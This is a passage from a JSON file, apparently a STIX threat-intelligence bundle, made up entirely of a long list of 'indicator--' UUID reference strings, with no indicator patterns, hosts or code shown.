        "indicator--502c21a4-3ec0-4168-990e-f22e822dc19d",
        "indicator--1a7e2f71-d727-4f3d-8db8-b5e8e9348b62",
        "indicator--52f14b24-6472-4e5d-afc9-061b0a7c7204",
        "indicator--18ac9e09-b11b-4f1a-942e-5f3a428856ca",
        "indicator--d0b8c254-6959-4b5c-bf48-0e5186966e7f",
        "indicator--428b29a4-851f-4d1f-ab39-1332929940ab",
        "indicator--6ca59b81-61bd-40e2-b957-6db35e32a868",
        "indicator--462e1491-476b-4dfb-bb19-092f8740a3c7",
        "indicator--ad93db87-0e80-41a8-9e90-ae9990599d82",
        "indicator--4c6707cf-1203-4619-aad3-5190dc6bab15",
        "indicator--5465e9e2-5c51-4597-b31d-76fbfb884f70",
        "indicator--310debb4-b686-4668-a5b6-f304e2bc7430",
        "indicator--1b73cf1f-8c29-478c-a7a3-8a07bbb8ae51",
        "indicator--37d081d0-d8c8-49b5-b754-77b6371372f3",
        "indicator--db6e29cf-f35b-40c6-bab7-c5c801aba30d",
        "indicator--16147859-1553-4524-b99a-e96b70af05ee",
        "indicator--451d3e88-30fa-4dd0-9f5e-84a68fa93dc3",
        "indicator--a5374ba4-0c5a-44de-a954-46d103a10583",
        "indicator--7a20749d-63bb-4cf3-9073-53ac145189ad",
        "indicator--a6d14bdf-d171-4598-be09-251dd6677220",
        "indicator--d85f8f93-648e-4f08-80e8-a653d16a567c",
        "indicator--3fadb1eb-937e-48d6-9004-0e3a5d73f073",
        "indicator--f1f9789b-86a1-4a2c-bb31-146c3f650182",
        "indicator--0664aa34-80f3-4430-84c1-67d714218803",
        "indicator--418a3370-7058-458d-b474-a6e13d989112",
        "indicator--07f52882-a2d5-4b98-b80d-a998068e1d4d",
        "indicator--54e6765d-6408-4e96-a37d-2eb3b57c7484",
        "indicator--ba43072f-6db0-498c-afc4-586bb4fa43fb",
        "indicator--a83da649-5e09-4e1a-8d63-2e5e04abafc7",
        "indicator--527305ae-caa3-4551-b89e-c2009d1bcac3",
        "indicator--099c52cc-051d-48f9-aa86-927ac4694cba",
        "indicator--eeccacf6-1498-47c2-8478-ec5a5cd0b490",
        "indicator--a8229bfc-3f13-4eee-b0c1-a297155232ef",
        "indicator--59de79b7-6585-4480-8f93-a4720483842b",
        "indicator--cdf369ed-d90c-4234-89d9-62d2939e3675",
        "indicator--9f088caf-0664-4c21-b557-a7cb50fd5d2f",
        "indicator--a4919906-6605-4622-b039-172ac3f88080",
        "indicator--d910400c-5077-45a8-8596-2adcb4df1809",
        "indicator--ef96cf5d-6da3-4ceb-b047-d75bb0d9943a",
        "indicator--42696b43-10c6-4757-8c30-e1e9b7178aa7",
        "indicator--0402e7d7-ca6b-4599-b955-67a126028404",
        "indicator--86020fc7-8775-4177-919b-03073afac90e",
        "indicator--fd52395f-4c7e-4804-9f81-4d450f35ea77",
        "indicator--6362a4fd-8250-4a2e-968f-1d839e933d12",
        "indicator--68620fe6-b145-4c20-b347-f955ed18d6ab",
        "indicator--9b556e2d-b800-4969-b734-72b3053c5dfa",
        "indicator--db367ea4-268d-43e6-8333-7cfa581da08e",
        "indicator--d97a9805-9408-4947-a6b8-4774677b8ad8",
        "indicator--d8eb90cb-e115-4430-9816-7e55d28015f1",
        "indicator--aea1d16f-9747-4d34-b958-ea63f657e504",
        "indicator--38200dd4-e14e-4cd4-9f9a-7d026696b62d",
        "indicator--dc0d7763-ae1e-489c-ab50-286631b5e0c1",
        "indicator--4112dcf2-16e0-4473-8ae6-db982d113002",
        "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
        "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
        "indicator--e5bea4fa-d8dd-4b68-a473-dceba64d0142",
        "indicator--fe025abb-eb24-444c-bf14-4cf99dbe226c",
        "indicator--e72d3532-2f69-40bb-988a-bd3ba165530a",
        "indicator--e7f2cdfc-0d5f-4d97-99cc-5a78b0d094fc",
        "indicator--c9e47aa8-4ec1-4b31-b4d7-7968d455354d",
        "indicator--719367e2-a0e2-44d9-bc36-eaef04be074a",
        "indicator--45f18fea-60e6-4248-9aea-b584b4816319",
        "indicator--0fa48c2b-7b74-4d59-bfb5-64ff91d31399",
        "indicator--e088b5ef-5ddf-4fa9-9879-4463cb47438a",
        "indicator--a4fec766-9a2b-409e-82ae-92b39f339456",
        "indicator--93335f29-35c5-47d4-a5bd-26457c2dfea8",
        "indicator--00f4e873-ec70-44a9-aac5-e7712ede28d8",
        "indicator--ee8e6bce-8b50-4cee-bbd5-cbf3156165e9",
        "indicator--ecbad76a-ca69-4347-b19e-5fdf8337ebde",
        "indicator--5e771090-3871-475b-9094-8c388c77cf0c",
        "indicator--02683f8e-5d81-415e-a6a9-3a2c22b0508b",
        "indicator--3377da50-f7f3-44af-a3e6-5e5b3175dae7",
        "indicator--953f6b0b-22ba-4260-b404-bb510dc87679",
        "indicator--c24038ec-dc60-4c29-851f-8887edf9bc8c",
        "indicator--5c01f64e-40f9-4526-883a-3727eeb1516a",
        "indicator--27da9d77-eeb0-4fe9-a5ba-5d21f7191952",
        "indicator--340da2fd-9559-451b-b904-c1c5e33bcc0e",
        "indicator--9eb2edb9-d50d-433c-92f6-26d06af5ff30",
        "indicator--540a0a0b-6a0a-4a90-b169-a50748f0dd8d",
        "indicator--d8d2a0ba-612d-4ced-9830-7da326827f91",
        "indicator--8f69ab95-2b3f-4992-8380-14b471c1bdec",
        "indicator--b3a5ba23-351c-4f74-91cb-2fee8801488b",
        "indicator--206effa5-8a64-47b7-aad0-2c430a4c5ece",
        "indicator--2c4f9c7e-fc23-43c8-9107-dea6f12d4b44",
        "indicator--0b555ad0-ecad-4bff-8bd9-cc671b33d719",
        "indicator--be06c8de-caff-4f90-81a0-10f7dda6a31a",
        "indicator--06975cfe-befe-4131-bb4b-9ee77e5a14e2",
        "indicator--0f396fcd-8bd0-4ed1-8e7a-0721e2835f89",
        "indicator--81c95735-dc62-4b09-ba67-224b82ce8d3e",
        "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
        "indicator--c17aa0dd-d712-429c-8568-e859e3c68f91",
        "indicator--52ba966b-8e2b-43ac-95d4-4655364a95e4",
        "indicator--5066d588-289b-478a-bc54-84fe5b3bb9ab",
        "indicator--77dcb224-346e-4144-a0f6-0e23c4c25775",
        "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
        "indicator--bc00c552-3177-47fa-a8c2-81ca13dca41d",
        "indicator--54bf76c6-3c50-452a-8b52-ec27ca470f05",
        "indicator--da8b8a0a-41c3-4a45-814b-f1461f219027",
        "indicator--500816f1-bd04-4dba-9f4d-75c13c2b8d62",
        "indicator--9ab70a9a-9c1b-4157-b9df-ef4b88a89e36",
        "indicator--52c0f6f9-b84b-4557-b066-1bdac18b0a51",
        "indicator--c7df4592-4cb8-47c4-b547-ea48d01526f5",
        "indicator--062a25a2-e963-4b01-94c5-fd8c8a7c4110",
        "indicator--b4a1f8d6-0792-412d-b783-67739f52321b",
        "indicator--756894b0-555a-4e37-b2e6-965fd337163f",
        "indicator--b7dae5b7-0c81-4421-ab83-e13499c53e16",
        "indicator--dde837c9-6608-4ad9-91ca-d25ff51e46ab",
        "indicator--d343cfc8-7d0d-4763-9ca7-c819f68177dd",
        "indicator--d5823b8e-0b26-4a7b-a877-d2de3e6802c1",
        "indicator--73f14b5f-32a6-42c1-83d5-ca5accbbe62a",
        "indicator--18165bae-3037-4960-972d-4300a5f59429",
        "indicator--43db68ef-d6bb-4ac6-b169-3fff752f990b",
        "indicator--bbb59126-37cd-498d-bbaa-f07c7f99bb85",
        "indicator--0d890319-5b46-4762-ba1e-a055919ce577",
        "indicator--c64c5ffa-1f56-4df2-bf4d-bf97fabe618a",
        "indicator--de845fa0-f48d-44bd-8858-cdd22a516ff6",
        "indicator--95e7ec3e-0c18-4bb1-8a8e-464af56ff899",
        "indicator--9fdb6916-6bd3-4597-b439-2cb76df52c8f",
        "indicator--7670bb80-f63e-4ea9-9aee-c78fefe444bd",
        "indicator--e8538e05-e680-4efa-9e6e-e937a821c586",
        "indicator--7d377912-d211-4ed5-991e-eb1270b01c8a",
        "indicator--9434774e-8f3b-4e63-b0a4-fb2ab6bf2637",
        "indicator--ba8f2435-7081-4c62-b080-f94ae3cbaa8d",
        "indicator--c428b463-9611-4cdf-bd2f-19d42675b615",
        "indicator--745cc008-caed-415a-989f-0049b103b043",
        "indicator--301e86a3-f632-494a-8ceb-fd44118b5710",
        "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
        "indicator--967e3337-2640-4291-b8c8-7da9c5754276",
        "indicator--ec3bfbd3-827f-4cd1-8ccf-751985e6b86e",
        "indicator--8f42ae11-2212-496b-bf16-e53f6841a5ac",
        "indicator--8b2775ed-2c3c-4f43-bb82-ca58dd0c6c39",
        "indicator--f5b20f20-473b-482d-9d32-f83096539bcf",
        "indicator--fe7a0377-8bae-41bc-9f04-d5ba57543787",
        "indicator--e62116e1-d079-4124-9e87-02981a74b178",
        "indicator--b244d925-f849-4a51-bca0-5d4535183f26",
        "indicator--3617ee31-88a6-4982-83b3-7ce485cde1cf",
        "indicator--883d7dd7-80d2-4f6d-bc88-f035145f9f78",
        "indicator--f0c1d63c-aa3f-4bca-b37d-e16453a4da87",
        "indicator--1d37312c-1c63-42fa-9569-eb2955d1a6a8",
        "indicator--f4f167b7-bc9c-4db2-b5e1-ee4b149b5558",
        "indicator--e30f8de9-5989-4d91-b0d8-8ff7ab28a00f",
        "indicator--6f82ddaa-0e80-4cb0-9f41-44ae67766cbd",
        "indicator--887f7f95-9bbb-447f-b4fa-d31b42acf665",
        "indicator--d57f74ae-98cf-4fc5-9cf4-c1c1ba1b78f1",
        "indicator--9649e930-96c3-4273-9e9f-06505bb96cf1",
        "indicator--62927db6-1af5-48f4-ac83-97feade90ed8",
        "indicator--0dfad689-fc51-4c21-bcfb-715cd12df32e",
        "indicator--4bd67a9e-0cc2-417d-88cb-11cb23d8e3e6",
        "indicator--a5ccb6eb-fe7b-4e31-8fd9-b52190f963b9",
        "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
        "indicator--35372864-37ee-498c-990e-3af13081ffbf",
        "indicator--4a279361-fd51-42ac-937f-af2a4f0e6503",
        "indicator--b6f116be-0dc4-4d94-99f3-a8e4bd54dbeb",
        "indicator--00f0aefe-5813-457e-9166-c8e483c5d346",
        "indicator--ba150adf-4c53-4a96-8cf2-a54a9c3ddefe",
        "indicator--43deacf6-671e-4ccf-bcdd-8ecdb2d6532b",
        "indicator--0fa879b9-a032-4b0c-8699-0dda8dbb2f23",
        "indicator--979b1918-825e-40d3-9cbe-50105e1151d5",
        "indicator--5e0448c9-ca5c-446d-aea1-091979e4454d",
        "indicator--f94e3c98-fe0a-4e7a-b014-ae42f52110c9",
        "indicator--564db6b5-074d-4c3a-883d-fc4a62aa38a1",
        "indicator--cb9a877a-4c0e-4c8e-9638-0f05f6c9a1ea",
        "indicator--0ee436c4-cccf-48e5-b5f7-7a6d4e4f76ba",
        "indicator--2a75977e-877d-4d0c-a45a-c69acb955cc5",
        "indicator--8c46a5bc-676d-4ff3-b75f-f8fa7c142dca",
        "indicator--6e70b77b-4cef-44e6-8051-f8c874019948",
        "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
        "indicator--52bff357-173e-42a5-9855-23f25ff39d35",
        "indicator--66ba40b3-bedb-48f7-b93a-0a6965c7aa15",
        "indicator--d4a6d136-beb9-4609-a409-03fdffca6fc1",
        "indicator--297b2dbf-8811-4dfd-8669-5191a2202434",
        "indicator--3bbf8895-daa0-4986-ada0-b5ee330541ad",
        "indicator--0f8e03e8-c739-455e-a8d2-708e76b0cd33",
        "indicator--7b144de3-afe2-45a8-9905-05b62907ec61",
        "indicator--18f6c28e-e4b0-4b08-88cb-be5c7a24157a",
        "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
        "indicator--17f0557e-2305-4677-929d-05b8df41024a",
        "indicator--7d9dba6b-cbcf-48a2-a454-785277d3d108",
        "indicator--e69ab539-bf9c-45d1-844b-4fd32cfd6dd8",
        "indicator--7644da41-1837-4bc1-bf91-46773db7cc68",
        "indicator--eea3be4f-5c79-4dd5-9b24-6a6e6243516d",
        "indicator--83d525d2-42eb-4a38-8fae-33022a9b9b86",
        "indicator--3207b0ba-c14b-412b-91d9-17284afedeeb",
        "indicator--496a2afe-33e6-4fad-a883-1c6206f6023c",
        "indicator--62cc088e-a365-47e0-96c5-05950e06dbaa",
        "indicator--72a3f9e5-edcd-4a86-8316-edb79bcefc54",
        "indicator--4a4b3b46-d9b3-4fef-a696-f16bea30008c",
        "indicator--7bab55c5-e3d6-4f1b-a469-1d6e34fe83a7",
        "indicator--166cdb64-6912-457b-bced-6f9a016dc017",
        "indicator--656117c3-eade-43ca-8e6a-7d8044318daa",
        "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
        "indicator--a675dc87-6fe2-41f6-b5d4-62fd3c2985f0",
        "indicator--269f6c15-f5cd-4188-8f14-2fd429a61e42",
        "indicator--fe45003a-dc2b-4328-9c9a-4c71d0fab257",
        "indicator--5d9f34a8-c784-489d-9695-7de1b4f02102",
        "indicator--567e6424-f8b1-430d-8116-dbe0dc78795a",
        "indicator--d6f70ebb-5d9d-4e15-92fe-275400e10167",
        "indicator--d150f3c2-3ff0-4c45-8128-fe08f64f9ce7",
        "indicator--d04bd0d6-d491-40c8-bb9a-e496435030f9",
        "indicator--d53293f3-6629-4927-8b97-9df7e51a07ca",
        "indicator--d0d8ff05-5c41-4c39-aad5-4a3fcda3ff90",
        "indicator--34efe49a-d578-4e7c-91b4-da92c44437e1",
        "indicator--242be386-17f4-490c-9f12-e5fcf5a48659",
        "indicator--7fa33442-86a6-4804-b1c4-3088d5a160e1",
        "indicator--f045d997-4e04-481e-af38-342fbe4fc955",
        "indicator--c582d86a-52ba-420f-be9d-cd4012460cf7",
        "indicator--4a73afe0-84d1-419c-9ff0-511100ed3881",
        "indicator--e85276d7-6649-4c11-94d3-b913b45c0c86",
        "indicator--d5592072-42a9-4464-838a-8cf1c816decb",
        "indicator--df13b2d4-f0ad-49fc-bddd-2bdb5486105f",
        "indicator--7eb225bd-2f91-4e2c-a86f-49ff6fa64a54",
        "indicator--44b6a500-3755-479e-89f6-d98d23871a2e",
        "indicator--25d187e3-7d13-4167-91f5-909bb401a313",
        "indicator--ec6fb90d-ec91-43b0-9143-b816fc7b95e9",
        "indicator--a3976b5b-33e5-41be-a3cd-4cd10c7604b9",
        "indicator--ef85512a-1e6b-4512-8bf1-05085da86058",
        "indicator--0cc25d64-e498-465d-8058-7ead53f5e0eb",
        "indicator--dc4f83f0-f931-4f6f-9d47-22683b67ee87",
        "indicator--b9588c94-25ca-4a34-8946-ecf74dc7bdba",
        "indicator--d8013f9c-854e-4f04-8c17-4cd24e08bbb4",
        "indicator--f23758e2-b784-4e96-be47-9def1c17d31b",
        "indicator--cfe3f977-a749-43a6-bf9b-a422ab725120",
        "indicator--3fa2d3ee-d0d2-4f21-b0a2-2ee60b9adc9a",
        "indicator--1a83425a-378b-4134-a0fd-efc2c5fa8bca",
        "indicator--6cb93448-e7fe-4497-90ca-09aaab290332",
        "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
        "indicator--39c610c8-1f2a-43ff-9bfb-a11c4d83fbcd",
        "indicator--93bdcb5b-faec-45f2-9380-41bb631a4419",
        "indicator--b6dbd43f-5cfa-45af-ad99-0046f9107ffe",
        "indicator--d501e37b-a018-456d-a3e7-765c3fec6d00",
        "indicator--632b18c7-a1b7-42ce-9144-b3d3c8d8b79a",
        "indicator--3187659b-2f2a-4ee4-a48d-ec893f03e96f",
        "indicator--8edea49d-d6c6-4f2d-b3a0-aa6e894b2de0",
        "indicator--3236bef6-cac1-4bbc-834d-417d21debb61",
        "indicator--542c2a9d-1c9e-4e66-8af7-6f0b7727668a",
        "indicator--8fb46308-81d5-46fd-805a-52338f41cc84",
        "indicator--c9a5358c-da95-4c1b-af32-b64efc03eb41",
        "indicator--49c1629f-8bc9-4b60-a6ed-1ec014106ec8",
        "indicator--c2167c7c-9898-4810-8b1a-e21d03cdc74a",
        "indicator--d2a2e5b5-bafd-41d2-b7df-0ddb777584af",
        "indicator--3f4dc2dd-2264-4f9d-9631-8d49f723b072",
        "indicator--974d8f6b-de7a-4fbe-b3bc-11e561a1a3b5",
        "indicator--20b48abe-f78c-4afc-b3ae-480a26a5191f",
        "indicator--6c95278a-9a3a-449e-8b44-dfcbe7d2ece6",
        "indicator--7d064174-205f-4395-8794-434b3105dbff",
        "indicator--531f46cf-4793-45a1-8cfd-686bc2cdf8cf",
        "indicator--614d9d8c-686f-41d5-b789-c0a9d8329b2f",
        "indicator--3f179174-be0b-4a37-a6e6-c05dadb70e34",
        "indicator--d47f6afe-6b35-4d11-9a2f-794ec2a6da44",
        "indicator--cad688bc-6620-44dc-b4f7-def593b344d9",
        "indicator--c1d3d6a6-0fa0-4c13-ad89-24fafbd36561",
        "indicator--c6c64480-732c-4842-a7ec-a2382f660b3d",
        "indicator--cf7010b5-4d4b-44bf-8dca-a10547ea017e",
        "indicator--c9dfb6fd-a8ab-4089-b722-86876f3c4d30",
        "indicator--4c6b9f3d-e99b-4394-b3a2-d1736e5aa418",
        "indicator--ce2cd684-461d-45ca-8967-b906aa171c17",
        "indicator--a49d3afd-300f-4e0c-86d5-00301882baff",
        "indicator--0bdc0658-3fc5-49ab-92e0-f206f5da887a",
        "indicator--0b575345-92ce-4d4a-bb58-afcb6821f0a5",
        "indicator--2cc4a940-b2f9-4ad9-9a5f-0ca14e6fe046",
        "indicator--8e0f4ce5-a531-498c-937d-70d08d8fd5fa",
        "indicator--90e7b958-dd6e-472d-a8d4-44aa3c91d44c",
        "indicator--53a79aa8-4e5d-4591-9011-2ddad80617ae",
        "indicator--0937779f-8b6c-4369-981a-4c30ae74fe46",
        "indicator--cc2d86d5-b5e6-45b9-bc6d-84bc5984f34d",
        "indicator--3052c7c2-5855-41eb-90d8-ebc1a4953c06",
        "indicator--22f66d64-8065-4759-b68f-5bf3d5a15241",
        "indicator--7de0f30c-1af0-48c8-8cc1-5ed10b593956",
        "indicator--dbc75541-d2d2-44c9-a0fd-5e763881d78b",
        "indicator--9308869f-b5d1-4a3f-9664-263d5643badd",
        "indicator--b646c0ac-792e-4f58-a6d4-8a1a22efab43",
        "indicator--6d60fc43-4c57-47d1-a3cb-cb5996f101c7",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--c6131955-7357-4e53-8699-033c3b00d767",
        "indicator--d925abfc-e8c0-4840-bc75-4d89744a45af",
        "indicator--286a0c8e-84a2-4bfe-8ed9-02175bc27701",
        "indicator--92ca091d-2fdb-49eb-abfa-3cab754ffb27",
        "indicator--aeae4829-5298-4c72-ab16-6ad19f6fc295",
        "indicator--134c24d0-454c-41b4-9b94-fa355c7b3f2c",
        "indicator--0869c1ad-8752-4028-b8a6-b2d6884c7b0a",
        "indicator--f6da44d9-8ba1-4074-b641-e3f0f6b8ce6d",
        "indicator--5ed02706-5b23-4b21-9e12-5b45650ca4c7",
        "indicator--91b83835-dec4-407c-95a6-4e299170a49d",
        "indicator--585fda98-8bf5-4f86-b428-ecd7fbe43956",
        "indicator--680b6a9a-4792-4872-b888-5c51c853a2a8",
        "indicator--8aecbc80-d9c3-4cd2-8035-876fe565a3f2",
        "indicator--93cff889-1bd4-49a6-84e8-351550a41479",
        "indicator--55feeac1-07d6-4af8-9749-9a0ddc48d100",
        "indicator--cebf9d6f-7fad-46fb-97d0-32150eab5f6e",
        "indicator--975f3950-1587-400f-b1e3-93782976a47f",
        "indicator--5cdeba00-3e08-4246-998b-00a1b4b5d576",
        "indicator--c304a89a-4567-48d3-bc54-60ec24afed32",
        "indicator--25d95627-3056-4173-aa05-0884c798b0c3",
        "indicator--6d4bbc5f-0cd1-4729-90fd-962468e66233",
        "indicator--72f7b6b6-90b7-4174-983a-ac7e119c74c4",
        "indicator--6501daba-5305-4c16-9876-b73914ced3e2",
        "indicator--a653049e-e23e-4668-bb4c-861691a6e4b5",
        "indicator--6720c2a2-12be-4c57-aeee-c09de7510a30",
        "indicator--c467ebbc-6e57-48cc-83f0-bb172787f2e6",
        "indicator--2314ebe5-1f2b-474e-b60b-0c7d601c1182",
        "indicator--4fd67da2-8f37-4141-8337-d8c9aba4e315",
        "indicator--9200c602-64c5-4224-8046-0c65220f44eb",
        "indicator--34fd9315-d56c-4f2e-8014-a15e0c4ea71a",
        "indicator--21117cdd-5487-4380-8247-8bc1947a7a12",
        "indicator--081cf61c-8a6c-42cf-b500-ecc3c6d20b7e",
        "indicator--8d65c3b1-0f14-496c-9a37-b8377847e88a",
        "indicator--5fa27db8-0df8-4626-80b3-fba8ee556eee",
        "indicator--84e8a888-23cc-48d9-b3ab-2dbd44988272",
        "indicator--51d9d367-ebd8-49d1-a381-b515abacb9e5",
        "indicator--a0d93a97-22c2-4042-a135-7a9d57460e6c",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--a89c68a6-fe6f-4848-b50e-e57a69522eae",
        "indicator--e0760ce2-ab4e-4347-8360-1c78d96daa34",
        "indicator--af74a1d3-ad4c-4c35-bb46-1bcd3d528063",
        "indicator--efa16785-05e8-4162-a92b-9709ebda2e11",
        "indicator--12d9962d-9852-41c8-9ef1-4aac7de50aba",
        "indicator--390ea71b-063a-4ebb-b53b-99b8970a6b72",
        "indicator--444f8775-8618-4e4d-a67a-02ec03793b6c",
        "indicator--ab7b639a-60ad-488a-a7af-05d73cb396bf",
        "indicator--8fd398df-7a38-4178-9b6f-aa0b48bde56b",
        "indicator--31528ce1-a6fc-4269-9904-162e395c5685",
        "indicator--82b3a68f-712f-4de5-84eb-3479ea4572a2",
        "indicator--fc36092f-235f-4d56-a9c1-4ae82cc6a245",
        "indicator--599ce174-2b4e-4341-aa3c-1d746658d486",
        "indicator--76583976-535d-482c-bb3e-6bedca55fc99",
        "indicator--98c9183c-c33e-45b2-b65a-8c0f87a86cbf",
        "indicator--34e112a7-3155-43a5-9448-76f467cd675b",
        "indicator--c6ec3839-ea98-492c-a8c0-31cfa3698212",
        "indicator--a1346a1c-25ce-4a0f-ae6f-56da8de76aa1",
        "indicator--348edbb4-42d9-4e42-bdc3-b7b75e620d2a",
        "indicator--2168c7c6-71be-4829-9450-ae6ff7272536",
        "indicator--2e90eb0d-4147-4682-80ac-1ea49435c26b",
        "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
        "indicator--dcc8df13-a7fe-43f2-8972-a18d49e926af",
        "indicator--7401d085-e6af-4d53-9b64-fa5347e0d8fe",
        "indicator--4055cd88-d034-4d5a-a484-cf35c1c1a7e6",
        "indicator--96726aab-8a91-4031-ae03-143dcfbb25f9",
        "indicator--da254eb7-9bf9-4bb1-88b5-299aae873f2c",
        "indicator--1c91b039-734d-4af3-b791-175e43e1a117",
        "indicator--77f769e0-7d05-4837-a884-338627242f68",
        "indicator--caf96308-34fe-422b-877b-0be302a139bf",
        "indicator--50f84832-3b19-47cb-8757-ffc7152140ba",
        "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
        "indicator--ca950a27-7f7f-4050-ad9a-252ee5da3a33",
        "indicator--8d0b92d9-c2ea-4253-840d-a8b38f8ef340",
        "indicator--76f448fc-9dee-4bc4-9518-32f8a230241d",
        "indicator--0415c3f0-5658-426e-9684-0beabf4f7559",
        "indicator--37ee0a35-b3c9-4053-8330-db479fac39cb",
        "indicator--fd064b1f-271c-4fc1-a147-7bbee2ffd23b",
        "indicator--168f659c-a88b-47fd-9e96-0c05160d679c",
        "indicator--aa4c3198-7298-43c8-b1dc-c4b0cca2d5a4",
        "indicator--6d91d213-b772-46be-aef4-5ef5761cc19b",
        "indicator--add1333a-5232-41f8-b4e0-707dbc58ffb4",
        "indicator--8122c05d-2757-4aec-8bc7-d2cd1de5fe2e",
        "indicator--bc0244d1-df65-43b1-89a9-4e87e5a23926",
        "indicator--3f38d1d5-5ad3-4353-8a8c-4dee0149aa4b",
        "indicator--ee2d7591-8b92-4584-8092-45d45d9b63a5",
        "indicator--5094474f-8aed-47a1-96aa-65f310315e5f",
        "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
        "indicator--bcb4aa49-9b29-43cd-a0dc-42ea60836f09",
        "indicator--d55cb267-4c25-42b1-a606-796049f472f0",
        "indicator--cc469a8c-7610-4582-a915-3c3dd2f9f3eb",
        "indicator--6d221622-b1bb-4106-b245-9d8658305326",
        "indicator--66a010fe-31f8-40e9-8dce-97d8ad08c8c2",
        "indicator--4f7313a2-2ba1-45c5-a546-e2673c1d86d2",
        "indicator--d73b3770-92d4-4005-ae2c-e11255a0944e",
        "indicator--3959140f-945c-44d0-9893-9816b334a6b9",
        "indicator--f784001b-c1c3-41ff-a4a9-565974b16bcd",
        "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
        "indicator--1443754c-b7a2-498f-be1f-cb5eb6f469c4",
        "indicator--a499dae7-987e-4a69-9b13-7d1add57633d",
        "indicator--423c340c-371b-4623-9f98-17e521f8ddab",
        "indicator--2b6fdfac-d1c9-4f1c-8561-a320977cc97f",
        "indicator--9f3e2a7a-0823-4153-b701-b4d229fe7d47",
        "indicator--d7310e63-c55a-4560-b7da-63b3b4965823",
        "indicator--765993f5-91da-4bff-a40a-895cfd25e60b",
        "indicator--4f2e996a-8c0b-46f8-9bff-07117b9abf72",
        "indicator--891a463d-120d-4b8b-a6af-fa9445ecd272",
        "indicator--5ce4d5f4-0b66-4bd6-a426-cff52d0c269a",
        "indicator--061a9a40-e026-41d5-918d-66134cd35b67",
        "indicator--d730413e-ecb1-4a4b-a701-e352d64ec87f",
        "indicator--34a218b5-1b8b-434e-af4f-ae3d4a553a10",
        "indicator--eeaadacb-8178-4468-bc3d-19b924954399",
        "indicator--1de6f33f-12fd-4fab-aef0-027ce7b4560d",
        "indicator--34e180a5-81f2-424e-8dfd-27df5acae219",
        "indicator--09e2cc53-7c79-4d17-968b-90fa3aaed4e3",
        "indicator--b95a0449-2b15-48fb-9dc8-3e5de611e7b7",
        "indicator--aa682bbe-7d8e-45f3-a4fd-8f6e22dd575b",
        "indicator--9cf4bd17-64ea-4fe2-b996-485d887cbc22",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
        "indicator--09557975-29a2-43fd-83e4-2fcabb4293d1",
        "indicator--83ed4498-0153-4d34-a981-fd997ce02650",
        "indicator--5203c22e-a03f-41b7-b7d9-07ff6b7cfa1a",
        "indicator--c9d35f9f-1ac2-4f09-9cd6-39f4f821119a",
        "indicator--d3d32c89-aead-4249-a4bd-8675a801ded3",
        "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
        "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
        "indicator--6186a899-6ae6-44e4-98ab-6f688e625ce1",
        "indicator--762fb9e2-ee09-4281-946b-b9aaf8419bff",
        "indicator--61141ba2-ce23-4802-852f-e026b312f911",
        "indicator--541cc4bf-f617-41ef-b96e-e5376f9333aa",
        "indicator--2a01da51-d2ff-4704-8cd8-b8820cbeb9fe",
        "indicator--5389000c-c337-4513-8b32-0012c760aecd",
        "indicator--2aef3b96-0fe3-4b7e-8ec9-31a65bf0c019",
        "indicator--4bcfc46d-a37c-4e21-998f-be9c185a9f6b",
        "indicator--c8b0843c-ec77-4c68-bd54-a28275f6f31b",
        "indicator--0a90c4f1-8eec-4619-82cf-dee0d6a310ca",
        "indicator--de474ef0-63e2-4f73-a32d-b1972c00bc48",
        "indicator--724268ff-d625-4a2c-83f3-e7c0cd3da1f1",
        "indicator--c5da472a-eca2-4998-8a1d-70b5b225765f",
        "indicator--d9ce354e-0006-4acf-9ebc-f77dae830c26",
        "indicator--efecaea3-11c1-43a2-9342-3110d7f1ce3c",
        "indicator--7dbc9463-bf5d-4827-8423-12f1f6648964",
        "indicator--c7b1ebc7-9370-4e53-98af-7ba418038a0f",
        "indicator--6e40ffc7-b10d-4280-a28c-6a98079f4a67",
        "indicator--127bfc14-461a-4822-ba55-a350260f54f7",
        "indicator--67d52f3d-80b1-4ec2-8eab-35c62e1e8d91",
        "indicator--1bcd17d9-56e7-46b4-9fcc-084af39864d6",
        "indicator--303ae204-7771-4a1a-bec0-1d30f1d4f8e7",
        "indicator--bc7947fb-608e-4c9f-bfe7-2fac0d64ce86",
        "indicator--bfb25e9f-7314-4198-8453-8a04906ce82e",
        "indicator--87e225a0-92b5-45d5-9ec6-2fabdab82aa2",
        "indicator--a14b209b-6996-4d48-b751-ee7fbfe3fb8b",
        "indicator--3a2d9b41-72df-461e-b1e2-b27f3b8308a8",
        "indicator--d9ace4cb-18cd-49ec-be9e-2a0e769c3791",
        "indicator--15710d81-0f1f-4204-9b1f-189395ca563f",
        "indicator--9525cd3f-a376-4380-988d-afaf37bfeceb",
        "indicator--50709f59-da31-4a49-add8-d4bc176f525b",
        "indicator--45bf1fe4-b63f-47fd-aa5b-d07a32f139db",
        "indicator--8790ed65-bd2a-4716-8582-f33e9a755928",
        "indicator--960bd210-1721-4d75-a3a4-a919913b8c76",
        "indicator--835b61d8-d463-4d4a-81d2-729c156651f8",
        "indicator--af24be78-084a-4325-ae62-6ef056277e42",
        "indicator--b7426580-3410-41fb-b88c-ca8eea9c8808",
        "indicator--6cf27192-d3b0-45f7-ad2f-1675708b7fcd",
        "indicator--49ad4a66-c4e9-42a0-ad4a-b43fc2177d61",
        "indicator--34b540f7-6d71-425b-a94f-39bb58d822da",
        "indicator--61942873-69b0-46d8-97a8-958593e6284a",
